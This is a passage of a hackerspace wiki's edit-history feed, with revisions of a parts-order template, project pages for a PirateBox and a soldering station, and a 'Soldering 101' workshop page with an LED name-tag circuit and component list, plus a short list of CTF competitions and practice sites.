Start your list below, outside of the comment:&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=Parts_Order&amp;diff=1825</id>
		<title>Parts Order</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=Parts_Order&amp;diff=1825"/>
				<updated>2012-03-12T09:22:42Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: moved Digikey to Parts Order&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Commande Digikey du XX.XX.2011 =&lt;br /&gt;
&lt;br /&gt;
Status: open&lt;br /&gt;
&lt;br /&gt;
Délais: XX.XX.2011 &lt;br /&gt;
&lt;br /&gt;
Commandé par: ????&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
Please stick to the following text format, because then we can mass-import the shopping list directly:&lt;br /&gt;
Nombre de pièces, N° article, Qui (reference)&lt;br /&gt;
Start your list below, outside of the comment:&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=Digikey&amp;diff=1826</id>
		<title>Digikey</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=Digikey&amp;diff=1826"/>
				<updated>2012-03-12T09:22:42Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: moved Digikey to Parts Order&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;#REDIRECT [[Parts Order]]&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=Parts_Order&amp;diff=1824</id>
		<title>Parts Order</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=Parts_Order&amp;diff=1824"/>
				<updated>2012-03-12T09:21:51Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Commande Digikey du XX.XX.2011 =&lt;br /&gt;
&lt;br /&gt;
Status: open&lt;br /&gt;
&lt;br /&gt;
Délais: XX.XX.2011 &lt;br /&gt;
&lt;br /&gt;
Commandé par: ????&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
Please stick to the following text format, because then we can mass-import the shopping list directly:&lt;br /&gt;
Nombre de pièces, N° article, Qui (reference)&lt;br /&gt;
Start your list below, outside of the comment:&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=PirateBox&amp;diff=1823</id>
		<title>PirateBox</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=PirateBox&amp;diff=1823"/>
				<updated>2012-03-12T09:17:37Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Category:Ongoing_Projects]]&lt;br /&gt;
== Description ==&lt;br /&gt;
Install a PirateBox at the hackerspace&lt;br /&gt;
&lt;br /&gt;
== Goal ==&lt;br /&gt;
* Share content easily with:&lt;br /&gt;
** People coming to the hackerspace&lt;br /&gt;
** Neighbourhood&lt;br /&gt;
&lt;br /&gt;
== Components ==&lt;br /&gt;
* http://wiki.daviddarts.com/PirateBox_DIY&lt;br /&gt;
* [[CPU_Boards|Small PC]] or a wireless routeur we have&lt;br /&gt;
&lt;br /&gt;
== Participant ==&lt;br /&gt;
* [[User:Rorist]]&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=SolderStation&amp;diff=1769</id>
		<title>SolderStation</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=SolderStation&amp;diff=1769"/>
				<updated>2012-03-08T09:57:12Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Category:Proposed_Projects]]&lt;br /&gt;
== Goal ==&lt;br /&gt;
&lt;br /&gt;
* Give the hackerspace a real soldering iron station.&lt;br /&gt;
* Some iron to adapt the soldering iron to the task and not the contrary.&lt;br /&gt;
* less than 200$.&lt;br /&gt;
&lt;br /&gt;
== Obstacle ==&lt;br /&gt;
* we need around 200 $ to finance the soldering iron &lt;br /&gt;
&lt;br /&gt;
== Proposition ==&lt;br /&gt;
following [[User:corecode]] advice :&lt;br /&gt;
* http://www.ebay.com/itm/ws/eBayISAPI.dll?ViewItem&amp;amp;item=270774480464&amp;amp;ssPageName=ADME:X:AAQ:US:1123#ht_1916wt_1398 At around 150 $ shipping included.  Be sure to ask for a 240V version!&lt;br /&gt;
&lt;br /&gt;
== Interested People ==&lt;br /&gt;
* [[User:gcmalloc]]&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=SolderStation&amp;diff=1768</id>
		<title>SolderStation</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=SolderStation&amp;diff=1768"/>
				<updated>2012-03-08T09:56:39Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Category:Proposed_Projects]]&lt;br /&gt;
== Goal ==&lt;br /&gt;
&lt;br /&gt;
* Give the hackerspace a real soldering iron station.&lt;br /&gt;
* Some iron to adapt the soldering iron to the task and not the contrary.&lt;br /&gt;
* less than 200$.&lt;br /&gt;
&lt;br /&gt;
== Obstacle ==&lt;br /&gt;
* we need around 200 $ to finance the soldering iron &lt;br /&gt;
&lt;br /&gt;
== Proposition ==&lt;br /&gt;
following [[User:corecode]] advice :&lt;br /&gt;
* http://www.ebay.com/itm/ws/eBayISAPI.dll?ViewItem&amp;amp;item=270774480464&amp;amp;ssPageName=ADME:X:AAQ:US:1123#ht_1916wt_1398&lt;br /&gt;
  At around 150 $ shipping included.  Be sure to ask for a 240V version!&lt;br /&gt;
&lt;br /&gt;
== Interested People ==&lt;br /&gt;
* [[User:gcmalloc]]&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=SolderStation&amp;diff=1767</id>
		<title>SolderStation</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=SolderStation&amp;diff=1767"/>
				<updated>2012-03-08T09:55:18Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Category:Proposed_Projects]]&lt;br /&gt;
== Goal ==&lt;br /&gt;
&lt;br /&gt;
* Give the hackerspace a real soldering iron station.&lt;br /&gt;
* Some iron to adapt the soldering iron to the task and not the contrary.&lt;br /&gt;
* less than 200$.&lt;br /&gt;
&lt;br /&gt;
== Obstacle ==&lt;br /&gt;
* we need around 200 $ to finance the soldering iron &lt;br /&gt;
&lt;br /&gt;
== Proposition ==&lt;br /&gt;
following [[User:corecode]] advice :&lt;br /&gt;
* http://www.ebay.com/itm/ws/eBayISAPI.dll?ViewItem&amp;amp;item=270774480464&amp;amp;ssPageName=ADME:X:AAQ:US:1123#ht_1916wt_1398&lt;br /&gt;
  At around 150 $ shipping included.&lt;br /&gt;
&lt;br /&gt;
== Interested People ==&lt;br /&gt;
* [[User:gcmalloc]]&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=Soldering_101&amp;diff=1524</id>
		<title>Soldering 101</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=Soldering_101&amp;diff=1524"/>
				<updated>2012-01-26T21:28:09Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Category:Workshops]]&lt;br /&gt;
&lt;br /&gt;
== Intro to through-hole soldering ==&lt;br /&gt;
&lt;br /&gt;
We will solder a blinking, customizable name tag.  We will also discuss and explain the design and the theory of operation.&lt;br /&gt;
&lt;br /&gt;
== Circuit ==&lt;br /&gt;
&lt;br /&gt;
* A discrete astable BJT multivibrator feeding into a 74HC595 shift register, which drives the LEDs directly.&lt;br /&gt;
* The shift register can serve up to 8 segments.&lt;br /&gt;
* The LED matrix can partitioned arbitrarily column-wise: multiple columns can be grouped onto a single counter output.&lt;br /&gt;
* each shift register output has one series current limiting resistor&lt;br /&gt;
* multiple display modes:&lt;br /&gt;
** blink (CLK goes into enable)&lt;br /&gt;
** fill slowly, clear slowly (last output inverted feeds back)&lt;br /&gt;
** fill slowly, clear at once (last output inverted goes to reset)&lt;br /&gt;
** rotate (last output feeds back)&lt;br /&gt;
* multivibrator speed can be adjusted with a pot&lt;br /&gt;
* on/off switch?&lt;br /&gt;
&lt;br /&gt;
== Components ==&lt;br /&gt;
&lt;br /&gt;
* LED, $0.04650 @ 1000: http://search.digikey.com/us/en/products/WP710A10SRD%2FD/754-1593-ND/2769819&lt;br /&gt;
* 74HC595N,112, $0.378 @ 100: http://search.digikey.com/us/en/products/74HC595N,112/568-1484-5-ND/763088&lt;br /&gt;
* CR2032 holder, $0.4968 @ 100: http://search.digikey.com/us/en/products/3003/3003K-ND/227448&lt;br /&gt;
* Pushbutton, $0.0916 @ 100: http://search.digikey.com/us/en/products/FSM4JH/450-1650-ND/1632536&lt;br /&gt;
* Pot, $0.3197 @ 100: http://search.digikey.com/us/en/products/3306P-1-105/3306P-105-ND/84994&lt;br /&gt;
* Jumper, $0.04516 @ 500: http://search.digikey.com/us/en/products/NPC02SXON-RC/S9341-ND/2618266&lt;br /&gt;
* Male header (36 pos), $0.62350 @ 100: http://search.digikey.com/us/en/products/68000-236HLF/609-3465-ND/2023290&lt;br /&gt;
* PCB 5cm x 10cm, $1.498 @ 50: http://www.seeedstudio.com/depot/fusion-pcb-service-p-835.html&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=Soldering_101&amp;diff=1523</id>
		<title>Soldering 101</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=Soldering_101&amp;diff=1523"/>
				<updated>2012-01-26T21:20:18Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Category:Workshops]]&lt;br /&gt;
&lt;br /&gt;
== Intro to through-hole soldering ==&lt;br /&gt;
&lt;br /&gt;
We will solder a blinking, customizable name tag.  We will also discuss and explain the design and the theory of operation.&lt;br /&gt;
&lt;br /&gt;
== Circuit ==&lt;br /&gt;
&lt;br /&gt;
* A discrete astable BJT multivibrator feeding into a 74HC595 shift register, which drives the LEDs directly.&lt;br /&gt;
* The shift register can serve up to 8 segments.&lt;br /&gt;
* The LED matrix can partitioned arbitrarily column-wise: multiple columns can be grouped onto a single counter output.&lt;br /&gt;
* each shift register output has one series current limiting resistor&lt;br /&gt;
* multiple display modes:&lt;br /&gt;
** blink (CLK goes into enable)&lt;br /&gt;
** fill slowly, clear slowly (last output inverted feeds back)&lt;br /&gt;
** fill slowly, clear at once (last output inverted goes to reset)&lt;br /&gt;
** rotate (last output feeds back)&lt;br /&gt;
* multivibrator speed can be adjusted with a pot&lt;br /&gt;
* on/off switch?&lt;br /&gt;
&lt;br /&gt;
== Components ==&lt;br /&gt;
&lt;br /&gt;
* LED, $0.04650 @ 1000: http://search.digikey.com/us/en/products/WP710A10SRD%2FD/754-1593-ND/2769819&lt;br /&gt;
* 74HC595N,112, $0.378 @ 100: http://search.digikey.com/us/en/products/74HC595N,112/568-1484-5-ND/763088&lt;br /&gt;
* CR2032 holder, $0.4968 @ 100: http://search.digikey.com/us/en/products/3003/3003K-ND/227448&lt;br /&gt;
* Pushbutton, $0.0916 @ 100: http://search.digikey.com/us/en/products/FSM4JH/450-1650-ND/1632536&lt;br /&gt;
* Pot, $0.3197 @ 100: http://search.digikey.com/us/en/products/3306P-1-105/3306P-105-ND/84994&lt;br /&gt;
* Jumper, $0.04516 @ 500: http://search.digikey.com/us/en/products/NPC02SXON-RC/S9341-ND/2618266&lt;br /&gt;
* PCB 5cm x 10cm, $1.498 @ 50: http://www.seeedstudio.com/depot/fusion-pcb-service-p-835.html&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=Soldering_101&amp;diff=1522</id>
		<title>Soldering 101</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=Soldering_101&amp;diff=1522"/>
				<updated>2012-01-26T21:15:55Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Category:Workshops]]&lt;br /&gt;
&lt;br /&gt;
== Intro to through-hole soldering ==&lt;br /&gt;
&lt;br /&gt;
We will solder a blinking, customizable name tag.  We will also discuss and explain the design and the theory of operation.&lt;br /&gt;
&lt;br /&gt;
== Circuit ==&lt;br /&gt;
&lt;br /&gt;
* A discrete astable BJT multivibrator feeding into a 74HC595 shift register, which drives the LEDs directly.&lt;br /&gt;
* The shift register can serve up to 8 segments.&lt;br /&gt;
* The LED matrix can partitioned arbitrarily column-wise: multiple columns can be grouped onto a single counter output.&lt;br /&gt;
* each shift register output has one series current limiting resistor&lt;br /&gt;
* multiple display modes:&lt;br /&gt;
** blink (CLK goes into enable)&lt;br /&gt;
** fill slowly, clear slowly (last output inverted feeds back)&lt;br /&gt;
** fill slowly, clear at once (last output inverted goes to reset)&lt;br /&gt;
** rotate (last output feeds back)&lt;br /&gt;
* multivibrator speed can be adjusted with a pot&lt;br /&gt;
* on/off switch?&lt;br /&gt;
&lt;br /&gt;
== Components ==&lt;br /&gt;
&lt;br /&gt;
* LED, $0.04650 @ 1000: http://search.digikey.com/us/en/products/WP710A10SRD%2FD/754-1593-ND/2769819&lt;br /&gt;
* 74HC595N,112, $0.378 @ 100: http://search.digikey.com/us/en/products/74HC595N,112/568-1484-5-ND/763088&lt;br /&gt;
* CR2032 holder, $0.4968 @ 100: http://search.digikey.com/us/en/products/3003/3003K-ND/227448&lt;br /&gt;
* Pushbutton, $0.0916 @ 100: http://search.digikey.com/us/en/products/FSM4JH/450-1650-ND/1632536&lt;br /&gt;
* Pot, $0.3197 @ 100: http://search.digikey.com/us/en/products/3306P-1-105/3306P-105-ND/84994&lt;br /&gt;
* PCB 5cm x 10cm, $1.498 @ 50: http://www.seeedstudio.com/depot/fusion-pcb-service-p-835.html&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=Soldering_101&amp;diff=1491</id>
		<title>Soldering 101</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=Soldering_101&amp;diff=1491"/>
				<updated>2012-01-22T23:42:05Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Category:Workshops]]&lt;br /&gt;
&lt;br /&gt;
== Intro to through-hole soldering ==&lt;br /&gt;
&lt;br /&gt;
We will solder a blinking, customizable name tag.  We will also discuss and explain the design and the theory of operation.&lt;br /&gt;
&lt;br /&gt;
== Circuit ==&lt;br /&gt;
&lt;br /&gt;
* A discrete astable BJT multivibrator feeding into a 74HC595 shift register, which drives the LEDs directly.&lt;br /&gt;
* The shift register can serve up to 8 segments.&lt;br /&gt;
* The LED matrix can partitioned arbitrarily column-wise: multiple columns can be grouped onto a single counter output.&lt;br /&gt;
* each shift register output has one series current limiting resistor&lt;br /&gt;
* multiple display modes:&lt;br /&gt;
** blink (CLK goes into enable)&lt;br /&gt;
** fill slowly, clear slowly (last output inverted feeds back)&lt;br /&gt;
** fill slowly, clear at once (last output inverted goes to reset)&lt;br /&gt;
** rotate (last output feeds back)&lt;br /&gt;
* multivibrator speed can be adjusted with a pot&lt;br /&gt;
* on/off switch?&lt;br /&gt;
&lt;br /&gt;
== Components ==&lt;br /&gt;
&lt;br /&gt;
* LED, $0.04650 @ 1000: http://search.digikey.com/us/en/products/WP710A10SRD%2FD/754-1593-ND/2769819&lt;br /&gt;
* 74HC595N,112, $0.378 @ 100: http://search.digikey.com/us/en/products/74HC595N,112/568-1484-5-ND/763088&lt;br /&gt;
* CR2032 holder, $0.4968 @ 100: http://search.digikey.com/us/en/products/3003/3003K-ND/227448&lt;br /&gt;
* Pushbutton, $0.0916 @ 100: http://search.digikey.com/us/en/products/FSM4JH/450-1650-ND/1632536&lt;br /&gt;
* DIP switch, $0.6204 @ 100, http://search.digikey.com/us/en/products/210-8MS/CT2108MS-ND/2503784&lt;br /&gt;
* PCB 5cm x 10cm, $1.498 @ 50: http://www.seeedstudio.com/depot/fusion-pcb-service-p-835.html&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=Soldering_101&amp;diff=1490</id>
		<title>Soldering 101</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=Soldering_101&amp;diff=1490"/>
				<updated>2012-01-22T21:50:22Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Category:Workshops]]&lt;br /&gt;
&lt;br /&gt;
== Intro to through-hole soldering ==&lt;br /&gt;
&lt;br /&gt;
We will solder a blinking, customizable name tag.  We will also discuss and explain the design and the theory of operation.&lt;br /&gt;
&lt;br /&gt;
== Circuit ==&lt;br /&gt;
&lt;br /&gt;
* A discrete astable BJT multivibrator feeding into a 74HC595 shift register, which drives the LEDs directly.&lt;br /&gt;
* The shift register can serve up to 8 segments.&lt;br /&gt;
* The LED matrix can partitioned arbitrarily column-wise: multiple columns can be grouped onto a single counter output.&lt;br /&gt;
* each shift register output has one series current limiting resistor&lt;br /&gt;
* multiple display modes:&lt;br /&gt;
** blink (CLK goes into enable)&lt;br /&gt;
** fill slowly, clear slowly (last output inverted feeds back)&lt;br /&gt;
** fill slowly, clear at once (last output inverted goes to reset)&lt;br /&gt;
** rotate (last output feeds back)&lt;br /&gt;
* multivibrator speed can be adjusted with a pot&lt;br /&gt;
* on/off switch?&lt;br /&gt;
&lt;br /&gt;
== Components ==&lt;br /&gt;
&lt;br /&gt;
* LED, $0.04650 @ 1000: http://search.digikey.com/us/en/products/WP710A10SRD%2FD/754-1593-ND/2769819&lt;br /&gt;
* 74HC595N,112, $0.378 @ 100: http://search.digikey.com/us/en/products/74HC595N,112/568-1484-5-ND/763088&lt;br /&gt;
* CR2032 holder, $0.4968 @ 100: http://search.digikey.com/us/en/products/3003/3003K-ND/227448&lt;br /&gt;
* Jumper, $0.033 @ 100: http://search.digikey.com/us/en/products/SPC02SVGN-RC/S9338-ND/2618263&lt;br /&gt;
* PCB 5cm x 10cm, $1.498 @ 50: http://www.seeedstudio.com/depot/fusion-pcb-service-p-835.html&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=Soldering_101&amp;diff=1489</id>
		<title>Soldering 101</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=Soldering_101&amp;diff=1489"/>
				<updated>2012-01-22T21:48:20Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Category:Workshops]]&lt;br /&gt;
&lt;br /&gt;
== Intro to through-hole soldering ==&lt;br /&gt;
&lt;br /&gt;
We will solder a blinking, customizable name tag.  We will also discuss and explain the design and the theory of operation.&lt;br /&gt;
&lt;br /&gt;
== Circuit ==&lt;br /&gt;
&lt;br /&gt;
* A discrete astable BJT multivibrator feeding into a 74HC595 shift register, which drives the LEDs directly.&lt;br /&gt;
* The shift register can serve up to 8 segments.&lt;br /&gt;
* The LED matrix can partitioned arbitrarily column-wise: multiple columns can be grouped onto a single counter output.&lt;br /&gt;
* each shift register output has one series current limiting resistor&lt;br /&gt;
* multiple display modes:&lt;br /&gt;
** blink (CLK goes into enable)&lt;br /&gt;
** fill slowly, clear slowly (last output inverted feeds back)&lt;br /&gt;
** fill slowly, clear at once (last output inverted goes to reset)&lt;br /&gt;
** rotate (last output feeds back)&lt;br /&gt;
* multivibrator speed can be adjusted with a pot&lt;br /&gt;
* on/off switch?&lt;br /&gt;
&lt;br /&gt;
== Components ==&lt;br /&gt;
&lt;br /&gt;
* LED, $0.04650 @ 1000: http://search.digikey.com/us/en/products/WP710A10SRD%2FD/754-1593-ND/2769819&lt;br /&gt;
* 74HC595N,112, $0.378 @ 100: http://search.digikey.com/us/en/products/74HC595N,112/568-1484-5-ND/763088&lt;br /&gt;
* CR2032 holder, $0.4968 @ 100: http://search.digikey.com/us/en/products/3003/3003K-ND/227448&lt;br /&gt;
* PCB 5cm x 10cm, $1.498 @ 50: http://www.seeedstudio.com/depot/fusion-pcb-service-p-835.html&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=Soldering_101&amp;diff=1471</id>
		<title>Soldering 101</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=Soldering_101&amp;diff=1471"/>
				<updated>2012-01-20T18:48:21Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: /* Components */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Category:Workshops]]&lt;br /&gt;
&lt;br /&gt;
== Intro to through-hole soldering ==&lt;br /&gt;
&lt;br /&gt;
We will solder a blinking, customizable name tag.  We will also discuss and explain the design and the theory of operation.&lt;br /&gt;
&lt;br /&gt;
== Circuit ==&lt;br /&gt;
&lt;br /&gt;
* A discrete astable BJT multivibrator feeding into a johnson decade counter, which drives the LEDs directly.&lt;br /&gt;
* The counter can serve up to 10 segments.&lt;br /&gt;
* The LED matrix can partitioned partitioned arbitrarily column-wise: multiple columns can be grouped onto a single counter output.&lt;br /&gt;
* each counter output has one series current limiting resistor&lt;br /&gt;
* last (unused) counter output feeds back to reset&lt;br /&gt;
* multivibrator speed can be adjusted with a pot&lt;br /&gt;
* on/off switch?&lt;br /&gt;
&lt;br /&gt;
== Components ==&lt;br /&gt;
&lt;br /&gt;
* LED, $0.04650 @ 1000: http://search.digikey.com/us/en/products/WP710A10SRD%2FD/754-1593-ND/2769819&lt;br /&gt;
* CD74HC4017 decade counter, $0.4776 @ 50: http://search.digikey.com/us/en/products/CD74HC4017E/296-25989-5-ND/480317&lt;br /&gt;
* CR2032 holder, $0.4968 @ 100: http://search.digikey.com/us/en/products/3003/3003K-ND/227448&lt;br /&gt;
* PCB 5cm x 10cm, $1.498 @ 50: http://www.seeedstudio.com/depot/fusion-pcb-service-p-835.html&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=Soldering_101&amp;diff=1470</id>
		<title>Soldering 101</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=Soldering_101&amp;diff=1470"/>
				<updated>2012-01-20T18:46:17Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Category:Workshops]]&lt;br /&gt;
&lt;br /&gt;
== Intro to through-hole soldering ==&lt;br /&gt;
&lt;br /&gt;
We will solder a blinking, customizable name tag.  We will also discuss and explain the design and the theory of operation.&lt;br /&gt;
&lt;br /&gt;
== Circuit ==&lt;br /&gt;
&lt;br /&gt;
* A discrete astable BJT multivibrator feeding into a johnson decade counter, which drives the LEDs directly.&lt;br /&gt;
* The counter can serve up to 10 segments.&lt;br /&gt;
* The LED matrix can partitioned partitioned arbitrarily column-wise: multiple columns can be grouped onto a single counter output.&lt;br /&gt;
* each counter output has one series current limiting resistor&lt;br /&gt;
* last (unused) counter output feeds back to reset&lt;br /&gt;
* multivibrator speed can be adjusted with a pot&lt;br /&gt;
* on/off switch?&lt;br /&gt;
&lt;br /&gt;
== Components ==&lt;br /&gt;
&lt;br /&gt;
* LED, $0.04650 @ 1000: http://search.digikey.com/us/en/products/WP710A10SRD%2FD/754-1593-ND/2769819&lt;br /&gt;
* CD74HC4017 decade counter, $0.4776 @ 50: http://search.digikey.com/us/en/products/CD74HC4017E/296-25989-5-ND/480317&lt;br /&gt;
* CR2032 holder, $0.4968 @ 100: http://search.digikey.com/us/en/products/3003/3003K-ND/227448&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=Soldering_101&amp;diff=1468</id>
		<title>Soldering 101</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=Soldering_101&amp;diff=1468"/>
				<updated>2012-01-20T18:36:29Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: moved Soldering to Soldering 101&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Category:Workshops]]&lt;br /&gt;
&lt;br /&gt;
== Intro to through-hole soldering ==&lt;br /&gt;
&lt;br /&gt;
We will solder a blinking, customizable name tag.  We will also discuss and explain the design and the theory of operation.&lt;br /&gt;
&lt;br /&gt;
== Circuit ==&lt;br /&gt;
&lt;br /&gt;
* A discrete astable BJT multivibrator feeding into a johnson decade counter, which drives the LEDs directly.&lt;br /&gt;
* The counter can serve up to 10 segments.&lt;br /&gt;
* The LED matrix can partitioned partitioned arbitrarily column-wise: multiple columns can be grouped onto a single counter output.&lt;br /&gt;
* each counter output has one series current limiting resistor&lt;br /&gt;
* last (unused) counter output feeds back to reset&lt;br /&gt;
* multivibrator speed can be adjusted with a pot&lt;br /&gt;
* on/off switch?&lt;br /&gt;
&lt;br /&gt;
== Components ==&lt;br /&gt;
&lt;br /&gt;
* LED, $0.04650 @ 1000: http://search.digikey.com/us/en/products/WP710A10SRD%2FD/754-1593-ND/2769819&lt;br /&gt;
* CD74HC4017 decade counter, $0.4776 @ 50: http://search.digikey.com/us/en/products/CD74HC4017E/296-25989-5-ND/480317&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=Soldering_101&amp;diff=1467</id>
		<title>Soldering 101</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=Soldering_101&amp;diff=1467"/>
				<updated>2012-01-20T18:36:14Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: Created page with &amp;quot;Category:Workshops  == Intro to through-hole soldering ==  We will solder a blinking, customizable name tag.  We will also discuss and explain the design and the theory of op...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Category:Workshops]]&lt;br /&gt;
&lt;br /&gt;
== Intro to through-hole soldering ==&lt;br /&gt;
&lt;br /&gt;
We will solder a blinking, customizable name tag.  We will also discuss and explain the design and the theory of operation.&lt;br /&gt;
&lt;br /&gt;
== Circuit ==&lt;br /&gt;
&lt;br /&gt;
* A discrete astable BJT multivibrator feeding into a johnson decade counter, which drives the LEDs directly.&lt;br /&gt;
* The counter can serve up to 10 segments.&lt;br /&gt;
* The LED matrix can partitioned partitioned arbitrarily column-wise: multiple columns can be grouped onto a single counter output.&lt;br /&gt;
* each counter output has one series current limiting resistor&lt;br /&gt;
* last (unused) counter output feeds back to reset&lt;br /&gt;
* multivibrator speed can be adjusted with a pot&lt;br /&gt;
* on/off switch?&lt;br /&gt;
&lt;br /&gt;
== Components ==&lt;br /&gt;
&lt;br /&gt;
* LED, $0.04650 @ 1000: http://search.digikey.com/us/en/products/WP710A10SRD%2FD/754-1593-ND/2769819&lt;br /&gt;
* CD74HC4017 decade counter, $0.4776 @ 50: http://search.digikey.com/us/en/products/CD74HC4017E/296-25989-5-ND/480317&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=CTF&amp;diff=1439</id>
		<title>CTF</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=CTF&amp;diff=1439"/>
				<updated>2012-01-14T19:49:08Z</updated>
		
		<summary type="html">&lt;p&gt;Corecode: /* Permanent */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Online challenges ==&lt;br /&gt;
=== Live ===&lt;br /&gt;
* Hack.lu&lt;br /&gt;
** [[Hack.lu CTF 2010]]&lt;br /&gt;
** [[Hack.lu CTF 2011]]&lt;br /&gt;
* [[rwthCTF 2011]]&lt;br /&gt;
* https://wiki.mozilla.org/Security/Events/CTF&lt;br /&gt;
* Ghost in the Shellcode&lt;br /&gt;
** [[CTF/gits2012teaser|Gits Teaser 2012]]&lt;br /&gt;
** [[CTF/gits2012|Gits 2012]]&lt;br /&gt;
* ...&lt;br /&gt;
=== Permanent ===&lt;br /&gt;
* http://www.newbiecontest.org&lt;br /&gt;
* http://www.hackthissite.com&lt;br /&gt;
* http://hackbbs.org&lt;br /&gt;
* http://www.try2hack.nl&lt;br /&gt;
* http://www.overthewire.org&lt;br /&gt;
* ...&lt;br /&gt;
&lt;br /&gt;
== IRL challenges ==&lt;br /&gt;
* [[Insomni'Hack]]&lt;br /&gt;
* Jurackerfest&lt;br /&gt;
* ...&lt;/div&gt;</summary>
		<author><name>Corecode</name></author>	</entry>

	<entry>
		<id>http://fixme.ch/w/index.php?title=Gits2012teaser&amp;diff=1350</id>
		<title>Gits2012teaser</title>
		<link rel="alternate" type="text/html" href="http://fixme.ch/w/index.php?title=Gits2012teaser&amp;diff=1350"/>
				<updated>2012-01-08T13:18:06Z</updated>
		
